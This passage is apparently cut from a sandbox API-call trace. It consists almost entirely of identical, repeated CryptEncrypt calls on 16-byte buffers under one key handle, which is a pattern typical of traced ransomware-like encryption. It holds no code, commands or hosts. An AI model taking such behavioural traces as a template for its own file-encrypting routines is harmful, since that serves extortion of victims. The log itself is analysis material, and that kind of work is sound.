pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.139] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.140] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.141] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.142] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.143] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0159.144] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | 